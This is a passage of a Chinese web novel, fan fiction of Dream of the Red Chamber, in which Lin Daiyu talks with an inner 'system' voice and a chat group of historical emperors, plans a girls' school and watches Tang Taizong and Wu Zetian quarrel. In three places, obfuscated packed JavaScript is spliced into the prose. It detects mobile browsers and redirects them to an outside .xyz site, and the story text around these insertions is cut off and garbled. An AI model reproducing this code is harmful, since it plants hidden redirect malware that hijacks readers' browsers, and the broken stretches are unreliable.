“谁又告诉你，原来就一定是悲剧？”黛玉素手一翻，掌中竟多了一册书，封页古旧，上书《吴氏石头记》癸酉本几个大字。“可知晓？在另一番结局里，贾府虽遭抄没，终有平反之日。宝玉虽遁入空门，却是他自己的勘破。而我……” 她微微一顿，歪歪头，眸光清澈如洗，绝美的脸上自信满满：“我虽是早亡，却也是干干净净，自由自在地死。” 心底的系统声音插了句嘴：【稍等等，宿主你几时看的这癸酉本？我怎么不知道？而且你说的这结局，对不上啊？癸酉本后四十回，那可是十分放飞自我的……高能剧情啊！】 黛玉心中回道：【你日日在群里与那几位皇帝论古今、聊八卦的时候，我在看书。如今不过信口胡诌，忽悠这恶人罢了。只要我说得自信，他当然会信我。再者，他若是看了这文采飞扬的癸酉本，这精彩纷呈的文笔，怕是再不认得汉字，亦再也不愿动笔写一字了。】 那系统声音顿时没了动静，像是噎住了。拉满自信说出的话，的确颇能说服人。 过了半响，这系统才说：【宿主英明，那癸酉本的剧情脉络，虽然续上了前八十回不少伏笔，情榜亦编的不错，但那文笔，简直……奴家虽非人类，看了却也要冲去洗眼睛不可！】 4. 顽石 曹雪芹呆住了，目光直直地钉在那本书上：“你，你如何会有此书？” “始皇帝陛下所赠。”黛玉说得理直气壮，面不改色，“陛下说，他那皇陵里头稀奇古怪的东西多，不知哪个角落里翻出了这么一本书，问我要不要。” 虚空中，传来始皇帝略带迷茫的声音：【朕的陵墓里有这玩意儿？朕自己怎么不晓得？】 清朝写的小说，跑到秦朝时候的皇帝陵墓里面了，这随口的谎撒的，也端的是有意思。 汉武帝的声音随即响起，颇有点看热闹不嫌事大的促狭：【你那巨大陵墓里埋的东西，你自己能样样都清楚？】 【始皇帝】：……说得也是。 曹雪芹沉默了许久，久到那漫天金光都黯淡了些许，他忽然笑了，无奈，亦略有欣赏：“有意思，当真有意思。看来，我确实是小觑了你这位林姑娘。” 他抬手，轻轻打了个响指。 时间再度恢复了流淌。 楼下那片刻之前的热闹，竟全然消失了。贾敬好端端地站在那里，秦可卿也恢复了平日里怯生生娇滴滴诱人的风情模样，就连薛宝钗，也依旧是那副端庄温婉的神态，好似方才的一切都未发生。 “颦儿？”宝钗疑惑地望着她，“你怎么在这里站着？方才我恍惚了一下，倒像是做了个梦。” 秦可卿茫然四顾，抚着心口，显然武曌的魂魄已然离去：“我……我刚才，也做了个好生奇怪的梦。” 系统声音急道：【他这是将一切都回溯了？】 不，并未全然回溯。 黛玉看向自己的手心，那枚温润的通灵宝玉仍在，那份与诸位帝王的神秘联系聊天群，也仍在。 “你想通了？”她望向曹雪芹消失的方向，轻声问道。 虚空中传来一声悠长的叹息：“罢了。我确不该将一己之念，强加于此间世界。这块通灵宝玉，便归你了。有它在，可保此界不受外力侵扰。” “如此这般而已？” “不然呢？”曹雪芹叹气，“真要被你们这群开天辟地的人物围着打一顿不成？我虽有几分笔墨神通，却也敌不过一群真龙天子的龙气。况且……” 他顿了顿，暴露些许忌惮：“女娲娘娘，当初在这石头里留了后手，专治我这等‘违规’之人。” 那系统心声顿时乐开了花：【哈哈哈哈！原来你也有怕的！真是天道好轮回！】 正是那“假作真时真亦假，无为有处有还无”的言语犹在耳畔，曹雪芹的声音便如烟一般，渐渐散去，独留一句余音在天地间回荡：“况那帝王神交之所，我亦不忍突然关闭。权作……给这无趣世间，添一笔荒唐笑料罢了。” 话音落尽，四下里万籁俱寂，好似方才那一场翻天覆地的变故，不过是南柯一梦。 黛玉默然垂首，缓缓摸着掌心那枚古玉。玉尚温，心已凉，周身的血脉却因那一句话，陡然凝滞，复又奔腾。 【系统：啧啧，反转来得太快，就像龙卷风。这曹雪芹也算个妙人，拆了东墙补西墙，临走还知道留个念想。】 言未毕，那神思中的“帝王神交（读作“八卦”）之所”已是喧然鼎沸，再掀波澜。 【秦始皇】：哼，这后生小子，倒还有几分眼色。 【汉武帝】：就这般轻易放过他了？朕的茂陵差点被他一笔勾销！ 【唐太宗】：罢了罢了，观其行止，亦非大奸大恶，不过是书生意气。况他认错之态，也算诚恳。 黛玉无心理会这群帝王的趣话。她凝神细看手中那块通灵宝玉，只见玉面之上，霞光流转。 正在此时，只听得天香楼阶梯处传来轻轻脚步声，一个温柔的声音唤道：“姑娘？” 原是紫鹃上楼来了。她见黛玉独立窗前，沐着一身清冷的月光，神色异于往常，不由得担心起来，道：“姑娘在这里做什么呢？风这样大。老太太那边已摆了晚膳，正打发人来请呢。” 黛玉闻言，指尖轻动，那玉佩便隐入袖中。她回转过身，面上已是素日那般淡然无波的清冷模样，只应道：“知道了，这就过去。” 行至楼梯口，她脚步一顿，又回望了一眼仍在窗边的秦可卿。 只见可卿正对着一池月色，慢条斯理地整理着被夜风吹乱的鬓发。那神态，那眉眼，是彻头彻尾的娇媚柔顺，哪里还有半分方才睥睨天下、生杀予夺的女帝仪范？ 【系统：咦？武媚娘的魂魄归位了？去哪儿了？】 黛玉在心中淡淡应道：【大抵是尘归尘，土归土，回她那乾陵里去了罢。】 【系统：那敢情好！接下来咱们怎么着？】 她顿了顿，心中自有沟壑：先开个女学堂，好生教一教这群九州至尊，何为‘格物致知’，何为‘经世济用’。】 此言一出，那聊天群又是一静。 【秦始皇】：女学堂？格物致知？小丫头，你说的究竟是何物？ 【林黛玉】：说来也简单。譬如，教始皇帝您，如何不必再行那焚书坑儒的酷烈之政，亦能使天下文思归于一统；又如何不必穷兵黩武，劳民伤财，便可坐拥四海，开疆拓土。 【汉武帝】：竟有这等精妙法门？此言当真？ 【林黛玉】：自然当真。再拿始皇帝来说，陛下当年统一度量衡，车同轨，书同文，已是万世之功。可您想过没有，倘若那时推行的，不止是这几样，而是将冶铁、制陶、织造、舟车，凡天下百工之技，尽皆定下划一的规制与流程，行那‘标准化生产’之法，那大秦的国力，又将是何等光景？只怕传至万世，也非虚言。 【秦始皇】：！！！标准化生产……速速细说！此法何解？ 黛玉见已勾起他们的兴致，方才好整以暇地抛出自己的条件。 【林黛玉】：陛下想知道？不难。拿东西来换。我这里正缺几样东西：一是诸位书房里那些早已失传于世的孤本古籍；二是那些藏于深宫、不见天日的奇技淫巧图谱；还有…… 她话锋一转，笑得腹黑。 【林黛玉】：便是诸位龙驭上宾之后，藏于九州各处的私库秘藏。要力挽狂澜，在这京城里，迎来送往，车马舟船，上下打点，哪一样不要使费？这人情往来，可着实不少呢。 【明太祖】：？？？你这丫头！你乃堂堂荣国府的千金小姐，林盐课唯一的嫡出掌上明珠，会短了你的人情使用？哄谁呢！你们这些世家子弟，果然一个个都贪！朕当年杀得太少了！ 【林黛玉】：荣国府的钱，是荣国府的。林家的钱，自有林家的用处。我要花的，是我自己的钱。再者说了，诸位的宝藏，深埋地底数百年，金银蒙尘，珠玉无光，岂不可惜？倒不如拿出来，流通于世，也算是为这天下做些功德。 此言一出，群内竟是一片死寂。片刻之后。 【康熙】：朕忽然想起，暖心殿还有一局棋未完，先走一步！ 【唐太宗】：朕宫中尚有几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【系统：倒也是。说出来，他们只怕要当你是得了失心疯，请了道士来做法呢。】 “况且，”黛玉缓缓抬头，望向那轮悬于天际的皎皎明月，“有些事物，终归要藏在暗处，才显其用。” 远处隐隐传来梆子声，该用晚膳了。黛玉收回目光，迈开步子，朝贾母走去。 三日后，潇湘馆中。惠风徐来，满院翠竹随风摇摆。 窗下，黛玉正临案挥毫，笔端游走于雪浪笺上，草拟着那份《宁荣女学堂创办章程》。 她写得专注，神凝气静，方落笔至“凡入学者，礼、乐、射、御、书、数六艺，皆须涉猎”一句，忽闻院外人声喧哗，由远及近，破了这满室清寂。 “林姐姐！好姐姐！你瞧我得了何等样宝贝来！” 这声音清脆爽亮，纵隔着三重庭院，依旧听得清楚，不是史湘云又是哪个。 【来了，来了！你那史家妹妹，正踏着七彩祥云……哦不，是踩着风火轮飞奔而来！】 黛玉腕下一顿，一滴浓墨洇开，在纸上洇成个突兀的墨点儿。 她蹙了秀眉，心中暗道：“什么七彩祥云？再敢胡沁，仔细我封了你的口。” 【哎哟喂，还与我装蒜呢。昨儿个，是谁缠着始皇帝，非要人家那压箱底的《兵法三十六计》？前儿个，又是谁央着唐太宗，从天南地北弄来那套大唐盛世皇家独家打造马球行头的图纸？不是为你心尖尖上的人备着，难道是给你自己预备着，学穆桂英挂帅不成？】 “噤声。”黛玉撇撇嘴，心中冷斥。 5. 英豪阔论 话音未落，湘云已一阵香风卷了进来。 她发髻微松，面颊红润，手里竟还提着个半旧的酒坛，坛口红布封得严实。 “林姐姐！”湘云一步抢上前来，双眸晶亮，献宝般将酒坛往前一送，“你且猜猜，这是何物？” 黛玉身子向后一仰，险些教她这股冲劲儿撞个满怀，口中无奈道：“云丫头，你这是作甚……” “嘿嘿，这可是我从我们家酒窖里头，偷偷‘请’出来的三十年陈的女儿红！”湘云说得眉飞色舞，得意洋洋，“我听人说，这酒乃天地精气所酿，喝上一口，便能增长数十年内力！” 【增长内力？这傻孩子莫不是把《江湖奇侠传》的话本子当真了罢？】 黛玉又好气又好笑，伸手点了点她的额头：“这又是哪个不经事的人，在你跟前嚼的舌根？” “是翠缕说的！翠缕说她表姐的堂妹的远房表哥，就是喝了这个，当场便能力能扛鼎，一掌劈开庭中那块试剑石！” 黛玉默然。 【这谣言传得，比我杜撰的帝王八卦还离谱。这传播链条，堪比金陵城里那些个姑子的八卦传到京城的样子了。】 “不过，林姐姐，”湘云话锋一转，身子凑得更近，一双眼亮得惊人，“我近来可听了不少你的奇闻轶事！” “哦？”黛玉挑眉，静待下文。 “凤姐姐说，天香楼那晚，满座的公子，竟没一个敢在你跟前大声喘气的！还有宝姐姐，昨儿竟说她做了个奇梦，梦见你浑身绽放金光，好似那天上的仙女！” 黛玉扶额，心中暗叹。 【哈哈哈哈！看来曹雪芹下的那道记忆消除术，药效还是差了些火候，竟留下这些边角余料。】 “皆是无稽之谈，当不得真。”黛玉语声淡淡，重又拿起笔。 “我偏不信！”湘云将酒坛“咚”地一声顿在桌上，震得笔山乱晃，“林姐姐，你定是会那飞檐走壁的功夫！快快教我！我也要学！” 恰在此时，那虚空之中，唯有黛玉可见的帝王群聊，忽然热闹起来。 【汉武帝刘彻】：“朕见这史家小丫头不错，英姿飒爽，颇有卫青去病之风。” 【唐太宗李世民】：“正是！此女有我大唐平阳公主之遗风，当为女中豪杰！” 【秦始皇嬴政】：“哼，依朕观之，此女眉宇间自带一股英气，隐有帝王之姿。” 【则天大帝】：“？？？你们几个老头子是疯魔了不成？但凡瞧见个眉清目秀、性情爽利的女儿家，便说是帝王之姿？天下的龙椅，是批发的不成？” 黛玉瞥见消息，正欲挥手关闭，冷不防湘云伸出手指，直直指向半空：“林姐姐！你瞧！方才那里，是不是有字飘过去了？” 黛玉心中一凛，面上却不动声色：“你看花了眼罢，哪里有字。” “不是的，”湘云眨巴着大眼睛，一脸困惑，“我就是觉得那儿亮了一下，恍恍惚惚的，有什么东西一闪而过。” 【警报！警报！检测到史湘云灵力值异常！此女天生灵觉敏锐，神识通透，宿主需谨慎应对！】 黛玉的目光落在湘云身上，杂了几分深思。 “云儿，”她忽然开口，声音温和，“你当真想学武？” “当然！”湘云的眼睛瞬间被点亮，“我要学成花木兰那样的女将军，替父从军，保家卫国！” 须知她自幼也没少缠着史家的那些武术师傅，学一些基本的入门的功夫。毕竟史家那是开国元勋，乃是在马上征战中得到的爵位。至少那君子六艺，骑射之类，是认真学了的。 黛玉眯眯眼，唇角隐隐浮现腹黑难测的笑意，竟从袖中取出一本薄薄的册子，递了过去：“这本《吴钩剑法》，乃始皇帝所赠，你拿去好生研习。” 湘云双手接过，才看了一眼封面，整个人便僵住了，舌头也打了结：“始、始、始……始皇帝？！” “不错，正是那位一统六合的秦始皇。” “林姐姐，你……你认得秦始皇？！他老人家不是……不是作古两千多年了吗？！”湘云的声音都变了调。 黛玉看她那副惊骇的模样，颇为可爱，不禁等了一会儿方才悠然一笑：“与你玩笑的。” 正说着，只听门外珠帘一响，紫鹃打起帘子：“姑娘，二奶奶来了。” 话音未落，王熙凤已扭着腰肢，满面春风地走了进来，人未到声先至：“我的好妹妹们，快来听我说，咱们府里可是有天大的喜事了！” “是何喜事，值得凤姐姐这般兴师动众？” “老祖宗发话了，说要在咱们这园子里，正经办个女学堂！”凤姐一拍手，丹凤眼闪着精光，“还说这主意原是林妹妹你提的，往后府里的姑娘们，都要跟着你学些安身立命的真本事！” 湘云一听，立时欢呼雀跃：“这可太好了！我第一个报名！” 【啧啧啧，宿主，史家小姐可真捧场。以她的文采，何须去这给女童的学堂念书？怕是教书都高配了。磕到了。】 黛玉不理那素来八卦的系统，却是敛了笑容，神色一正：“其实，在家里开办学堂，不过是第一步罢了。” 她将案上那份《章程》拿起，递给凤姐与湘云观看：“我的谋划，远不止于此。下一步，我要借此机会，助贾府脱胎换骨。” “脱胎换骨？”二人皆是不解。 “不错。咱们贾府如今看似显赫，实则不过是依附皇权的寄生之木，一朝风雨，便有倾覆之危。我要做的，便是将贾府从一个空有爵位的世家，转为掌握实业的望族。康熙爷的制瓷绝技，太宗皇帝的造纸良方，汉武帝的冶铁秘术，始皇帝的水利图谱……这些，都将是我们的底气。少不得日后还要去江南走一遭。” 【等等，宿主你何时竟谋划了这许多？我怎么不知？】 【黛玉心中回道：“从我知道我和贾家命运的那一刻起。】 【？？？纳尼？】 【救我自己很简单，不按照原著走感情线哭至泪尽即可。欲救贾府，需得有钱，贾府的银钱，皆是公中账目，动不得。所以……】 【所以你要自立门户，另起炉灶？】 【不止。我要让整个贾府都富起来，且富得连皇权都需忌惮些许。唯有如此，方能真正扭转乾坤，改写所有人的结局。】 这一番话，听得凤姐与湘云二人心潮澎湃。 凤姐是何等样人，当即一拍大腿，高声道：“干了！我的好妹妹，你只管说，要人给人，要钱给钱，我王熙凤便是砸锅卖铁，也全力助你！” “正是如此！无论姐姐你要做什么，”湘云一双清澈的眼眸定定望着她，“我都陪着你。” 黛玉静静看着湘云，心头一暖，忽然笑了。 她抬起手，轻轻抚上湘云肉嘟嘟的脸颊，忍不住捏了捏。 “好。” 【！！！摸脸杀了！宿主你何时竟无师自通了这等撩拨人心的绝技！这……这不合常理！而且凤辣子就这样被你华丽丽地无视了吗！？】 此刻，潇湘馆内，静得能听见窗外竹叶的簌簌声。 王熙凤在一旁看着，丹凤眼转了个圈，不语。 湘云定了定神，才问道：“林姐姐，我们……我们何时动身去江南？” “等女学堂的事走上正轨，便去。” “那我定要在此之前，练好这《吴钩剑法》，届时好护你周全！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219494|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好。” 黛玉放下手中的紫毫笔，站起身来，走到她跟前，自然而然地牵起她的手。 “走，我们去厨房。” “去做什么？” “给你做一碟醉蟹尝尝。” 嘴馋的湘云眼睛登时亮了。小女儿厨房饕餮大餐，不在话下。 饭后，风过潇湘，翠竹摇曳，日光柔柔，洒在两人秀美的身影之上。 馆内安静得紧，只闻落子之声。黛玉执白，皓腕凝雪，纤纤玉指拈起一枚云子，正欲点入天元。 对面的湘云却眼疾手快，一把按住她的手腕，急道：“好颦儿，你这一子落下，我这片黑压压的大龙，可就真要魂断楚江了！” 黛玉也不抽回手，只抬起那双似蹙非蹙的罥烟眉，眼波流转，凝睇着她，笑道：“云妹妹既是明镜儿似的，洞悉了我的棋路，怎的还任由我布下这天罗地网？莫不是有意让着我，好讨我欢心不成？” 【系统：宿主，您这话说得，瞧史家大小姐这面皮，红得赛过雨后胭脂。】 黛玉长长睫毛轻垂，遮去眸中神色，在心中淡淡回了句：‘聒噪。’ “好你个伶牙俐齿的林姐姐！”湘云一拍棋桌，霎时满盘棋子乱跳，她那颗小虎牙都露了出来，半是娇嗔半是气恼，“我好心好意给你带了酒，你倒好，竟设下这般圈套与我！真是世风日下，人心不古！” 一边说，一边嘟起了嘴。 “棋盘之上，何来情面？”黛玉瞧着她可爱的样子，才好整以暇落下白子，清脆一声，整盘死气沉沉的棋局登时活了。 她端起茶盏，用杯盖轻轻撇去浮沫，言语间尽是悠闲，“况且，方才是哪位妹妹豪言壮语，说要让我三子的？” 湘云一双杏眼瞪得溜圆，盯着棋枰上翻天覆地的变化，半晌作声不得，最后只得长叹一声，嘟着嘴道：“罢了，罢了！我认输。只是颦儿，你这棋艺是如何突飞猛进的？从前你我尚能斗个旗鼓相当，如今却处处受你钳制。莫不是背地里请了哪路国手来指点？” 黛玉正欲开口，识海中却骤然响起系统的叽叽喳喳。 【系统：警报！十万火急！帝王群里闹起来了！唐太宗李世民正在线捉人，点名道姓地问武则天，你一个女人是怎么混进来的！】 话音未落，黛玉眼前那方界面已自行铺展开来。 “颦儿？”湘云见她神色微异，关切地问，“可是身子又不爽利了？” “无妨。”黛玉将茶盏搁下。 “不过是想起一桩趣事。云妹妹你试想，若将历朝历代的开国君主、守成圣君都聚在一处，品茗清谈，纵论天下，该是何等景象？” 湘云闻言，眼眸倏然一亮，兴致勃勃道：“这个有趣！秦皇汉武，唐宗宋祖，倘真能同坐一堂……啧啧，那还不得为了谁是千古一帝争得面红耳赤，把屋顶都掀了？” 唐宗宋祖？ 黛玉皱了皱眉，群里好像不曾见到过宋太祖赵匡胤？ 难道一开始建群之时，便不曾有加他？莫不是因着，只有他的版图里没有燕云十六州？ “那若是……”黛玉的目光落在湘云兴奋的肉嘟嘟小脸蛋身上，笑了，“这群须眉男子之中，还坐着一位龙凤冠的女皇帝呢？” “女皇帝？”湘云先是怔住，旋即恍然大悟，抚掌大笑，“你说的是那位则天女皇？哈！那可真真儿是火上浇油，热闹非凡了。那起子唯我独尊的男儿天子，怕不是要气得龙须倒竖，当场发作起来。” 【系统：我的宿主哎！您还有这份闲情逸致在这里和史家妹妹品茶论古？群里快要打出真火了！方才若不是我手快，洪武爷朱元璋的国骂就要刷屏了！】 6. 帝王群里起风波 潇湘馆内，风拂翠竹，一地阳光碎影。 黛玉与湘云对弈，修长指尖正拈着一枚莹润的白子，凝神静思。窗外日光正好，将她那张绝美素净面容映照得，颇有几分不食人间烟火的清冷。 然则此刻，她神思深处，却有一幅画卷正徐徐展开，内里喧嚣鼎沸。 只看得那聊天记录里，是始皇帝先开了口，语声沉郁，自带咸阳宫的威压。 【始皇帝】：朕昨夜所论郡县之制，字字珠玑，可安万世之基。尔等竟无一人附议？是何道理？ 须臾，便有一人接了话，口吻里含着几分腹黑。 【汉武大帝】：始皇兄息怒。非是小弟不应，只是朕近日正琢磨您那“焚书坑儒”的妙法。朕身边那些炼丹不成、只会巧言令色的方士，也着实可恼，正思量着如何处置，方能显朕的霹雳手段。 话音未落，一道粗豪嗓音便插了进来，声如洪钟。 【洪武大帝】：嘿！刘彻你个兔崽子，几日不见，倒学会指桑骂槐了？要说整治臣下，还得看咱们老朱的剥皮实草，那才叫一个干净利落，保管他们来世都记得做个忠臣！ 【康熙大帝】：诸位先祖息怒。晚辈以为，为君之道，当以德化民，以仁治国，方是长久之计…… 【则天大圣皇帝】：哟，小玄烨今日倒是嘴甜。全不像昨日，非要与本宫辩上一辩那“牝鸡司晨，天下大乱”的歪理。你倒说说，本宫在位，天下是乱了，还是治了？ 正当此时，一声断喝，如晴空霹雳，镇住了所有日常聊天记录。 【大唐天可汗】：且住！ 此言一出，群中瞬间万籁无声，落针可闻。 黛玉秀眉微挑，将手中棋子轻轻搁下。她结识这位天可汗也有些时日了，此人向来雍容自若，言谈间自有盛世气度，何曾用过这般雷霆震怒的口吻？一时间倒教人好奇起来。 【大唐天可汗】：诸位，朕今日清点群中名册，竟发现一桩荒谬绝伦、滑天下之大稽的奇事！ 【始皇帝】：何事惊扰？二凤竟然失了平静？便是当年荆轲献图，匕首现于眼前，朕亦未曾如此失态。 【汉武大帝】：始皇兄所言极是。世民，你也是开创盛世之君，岂可因小事乱了方寸？且说来听听，让朕也乐一乐。 黛玉眯眯眼，群里这些皇帝没一个是省油的灯。 只听得那“帝王群”中，大唐天可汗的质问终于石破天惊，掷地有声。 【大唐天可汗】：朕只想问一句！武媚娘，你是如何混进此群的？！此地非“历代帝王群”么？！一介妇人，也敢与朕等并列？！ 此言一出，群中寂静，好似连时辰都停止走动了。 【系统：哦豁！好一出天子脚下认亲的修罗场！李二凤这反射弧，怕是能绕长安城三圈了罢！我就说这纸里终究是包不住火的。宿主，瞧这架势，大型历史伦理剧开锣在即，这瓜保熟么？】 黛玉将那枚白子轻轻按在棋盘的星位上，眼波微转，意态闲闲：“熟不熟我不知，只知必定是甜的。” 【则天大圣皇帝】：李世民，本宫登基为帝，改唐为周，君临天下十五载，开创治世。你有何异议？ 那字句间，不见半分烟火气，却压得人喘不过气来。 【大唐天可汗】：朕是说……且慢，你方才唤朕什么？ 显见是阵脚大乱了。帝王威仪，最重名讳与尊卑。她这一声“李世民”，不啻于当众扒下了他那身九五之尊的龙袍。 【则天大圣皇帝】：直呼你名讳罢了。怎么，你这太宗皇帝的名，天下人说不得了？ 【汉武大帝】：等等等等，诸位稍安勿躁。朕怎么闻见了一股子不同寻常的味儿？武则天，你与这李世民……是旧识？哈哈哈哈！妙啊！朕就说这群里早晚要有好戏登场！快哉快哉！ 这刘彻，素来是个唯恐天下不乱的性子，此刻早已是兴致勃勃。 【洪武大帝】：咱早就瞧着不对劲了！一个个遮遮掩掩的，原来是你们李唐的家务事！李世民你个棒槌！她都明说了，改唐为周，那不就是刨了你李家的祖坟，断了你家的香火……这你都没咂摸出味儿来？ 【康熙大帝】：朕记得，史册有载，大周皇帝武曌，乃大周开国之君。论身份，入此帝王群，合情合理，并无不妥。 素日里最爱和稀泥的康熙，此刻竟也说了句公道话，只是不知这公道话里，藏了几分看热闹的八卦心思。 一直默不作声的始皇帝，终于发出一句石破天惊的问话，每一个字都像一座山，砸在李世民的心坎上： 【始皇帝】：所以，李世民，你的大唐江山，被你的……什么人，给换了姓氏？ 【大唐天可汗】：…… 【则天大圣皇帝】：哎呀，始皇帝说得太严重了。严格说，朕也是为大唐开创了盛世。贞观之治后，有朕的武周盛世接续，亦是国泰民安。况且，这江山，朕最后还是还给了李家，未曾断了血脉不是？要知道，朕之后的所有李唐皇帝，那可都是朕亲生血脉后代。 她言语轻描淡写，听在李世民耳中，却无异于五雷轰顶。 【始皇帝】：有趣。朕当年席卷六合，一匡天下，可没想过，后世竟有女子称帝。不过……既为天子，何分男女？朕只看功过，不问雌雄。 【汉武大帝】：始皇此言，深得朕心。朕倒是好奇，李世民你为何如此激动？莫不是……其中有何不可告人之事，心虚了？ 【大唐天可汗】：刘彻你休要含血喷人！朕心虚什么？朕光明磊落！ 【洪武大帝】：咳咳，俺老朱说句公道话。人家武则天是正经登基称帝的，有传国玉玺，有定制国号，凭什么不能在群里？倒是你李世民，玄武门那桩事……啧啧，弑兄逼父，手段可比人家女子狠辣多了。 【大唐天可汗】：朱元璋！你这放牛娃出身，靠着一个破碗起家的和尚，也配说朕？朕的天下，是提三尺剑，和天策府众兄弟们打下来的！ 风静，香沉。 潇湘馆内，一缕凉烟自博山炉的孔窍中袅袅升腾，在光影里画出变幻的篆字，又悄然散去。 阳光恰照在一方乌木棋枰上。局已残，黑白二子胶着厮杀，未分胜负。 林黛玉支颐静坐，意态安闲，脑海中的帝王群里，却早已是锣鼓喧天，沸反盈天。 【康熙大帝】：诸位，诸位，和气生财，和气生财。朕看，系统既邀武皇入群，自有其考量。再者，此间哪一位的御座下，不曾垫着几具白骨？谁的手上又是全然干净的？ 【始皇帝】：朕没有。 【汉武大帝】：朕也没有。 【则天大圣皇帝】：呵呵。 黛玉闻言，唇边的笑意，深了，也沉了。 这些个史册上声震寰宇、名垂千古的九五之尊，褪去了那一身龙衮，竟也与那寻常人吵架无甚分别。真真儿有趣。 她又从棋盒中拈出一子，两指把玩着，只觉那玉石的凉意，沁人心脾。 【系统：宿主，您不去劝劝？我瞧着唐太宗那儿的龙气都快凝成真龙冲出来了，怕是要当场打起来。】 “由他们闹去。”黛玉心中回应，平静的很，“正好叫我瞧瞧，这青史留名的人物，究竟藏着何等样的真性情。况且……” 她顿了顿，意念一转，“你看武则天，一代女皇，她何曾需要旁人搭手？” 果不其然，那沉寂片刻的武皇，声音再度响起。 【则天大圣皇帝】：李世民，你莫不是不知道，你龙驭上宾之后，都发生了些什么？ 【唐太宗】：朕崩后……且住，你这话是何意？ 【始皇帝】：愈发有意思了。朕平生最爱看的，便是这等前朝旧事、后宫风闻。来人，快给朕上些蜜饯果子！ 【汉武大帝】：始皇兄，您这口气，是跟哪个后世小儿学的？还果子…… 【洪武大帝】：俺也想听听这后文！武媚娘，你快给咱说说！莫要这般吊着人的胃口！ 【则天大圣皇帝】：也无甚惊天动地的大事。不过是你撒手西去，我先嫁了你的儿子。后来觉得，当个皇后到底意难平，便索性自己坐了龙椅，当了皇帝。史官们不是还给了个好听的名目么，唤作什么‘二圣临朝’，又叫什么‘武周革命’。 【唐太宗】：！！！！！ 【唐太宗】：你说什么？！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219495|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁与朕的儿子？！是哪个逆子？！哪个不知廉耻、悖逆人伦的家伙，敢做此等大逆不道之举？！ 【则天大圣皇帝】：还能有谁？自然是你那心尖儿上最疼的嫡子九郎，你的雉奴，高宗李治。 此言一出，群中寂静。 随即，一声清脆的“叮”音，划破了沉默。 【系统提示：该用户因心绪起伏过甚，龙气溃散，暂时离线。】 【康熙大帝】：哈哈哈哈！这可真是笑煞朕了！这李世民，竟是活生生气得掉线了！ 【始皇帝】：朕今日，总算晓得了后世人常说的‘社死’，是何等光景。 【洪武大帝】：俺猜，老李此刻定是在哪个犄角旮旯里画圈圈，一面咒他那不孝子，一面悔不当初，没把这武媚娘早早结果了。 【汉武大帝】：说句公道话，武媚娘，你这番所为，确确是……惊世骇俗。 【则天大圣皇帝】：呵，男人。你们之中，哪一个不是踩着森森白骨，踏着滔滔血海，才爬上这把椅子的？怎么，只许你们放火，便不许我点灯？只许你们弄权，便不许我一介女子，为自己挣一个翻身的机会？ 黛玉凝神于那方寸世界，群中风雷激荡，她指尖却沿棋盘乌木纹路，一寸寸挪移。 她素日欣赏武则天那股子气魄。世间规矩，皆是男子所立，高台厚榭，皆是男子所筑。偏她一个女子，能于铁壁之上凿开生路，于铜城之中杀出血河，生生将那乾坤颠倒，叫日月换了新天。这等泼天的豪气，如何不叫人击节称赏？ 【系统：宿主，您此刻这笑，可着实有些瘆人。依着往日旧例，每回您这般笑，荣国府里总要生些不大不小的风波。】 “何曾那般夸张。”黛玉将身子往后略仰，靠入紫檀木雕花椅背。她那腰肢一折，便是一段浑然天成的风流韵致，些许闲适，又藏着运筹帷幄的蓄势待发。 “不过是我看大戏，看得入了神罢了。” 她收回视线，目光重又落回那盘棋局，看着湘云，修长玉指拈起一枚白子，“啪”一声，落了子。 【康熙大帝】：咳……那个，朕忽然忆起，尚有几本折子未曾批红…… 【始皇帝】：谁也别走。朕于此事，兴致正浓。武则天，你往下说。 【则天大圣皇帝】：这倒也没啥特别的，不过是人家如今，已是大周天册金轮圣皇帝了。 【系统：宿主，唐太宗心头那片阴影，其广几何，可要我为您算来一观？】 素日里最爱八卦的系统之音，满是幸灾乐祸。 黛玉忍俊不禁，正欲回言，却叫史湘云打断。 “林姐姐笑什么？这样天大的乐事，竟也不说与我同乐？” 黛玉面上波澜不惊，从容拾掇言语：“我不过是设想一桩趣事。假若当年屈原行吟江畔，恰逢始皇帝东巡至此，二人相遇，会是何种光景？” “这有何难猜？”湘云素性爽直，闻言便将袖子一甩，浑不在意道，“屈原那样的孤高忠臣，碰上始皇帝那样的霸道君王，自然是说不上三句话便要怒目相向。说不准，始皇帝一怒之下，连他也一并坑了去！” 【好家伙，史湘云此言，暗藏机锋。】系统啧啧称奇，【她莫不是……已窥得天机？】 “她不会。”黛玉心下断言，面上却是一副意味深长的笑，“云儿所言极是。我只是在想，始皇帝若泉下有知，他千辛万苦一统的六合江山，最终竟断送在他最信赖的宦官之手，又该是何等心绪？” 湘云明眸眨了眨：“林姐姐说的是赵高？那奸贼，委实可恨之至！” “何止赵高。”黛玉摇头，“历朝历代，开国之君呕心沥血，打下的基业，最终花落谁家，又有几人能算得到？譬如……” 她言语于此，刻意一顿。 “譬如什么？”湘云的好奇心，已叫她这半句话勾得满满当当。 恰在此时，紫鹃手捧填漆茶盘进来，笑意盈盈：“姑娘们清谈许久，想是渴了。刚烹的雨花茶，配上几样新做的茶点，可要尝尝？” 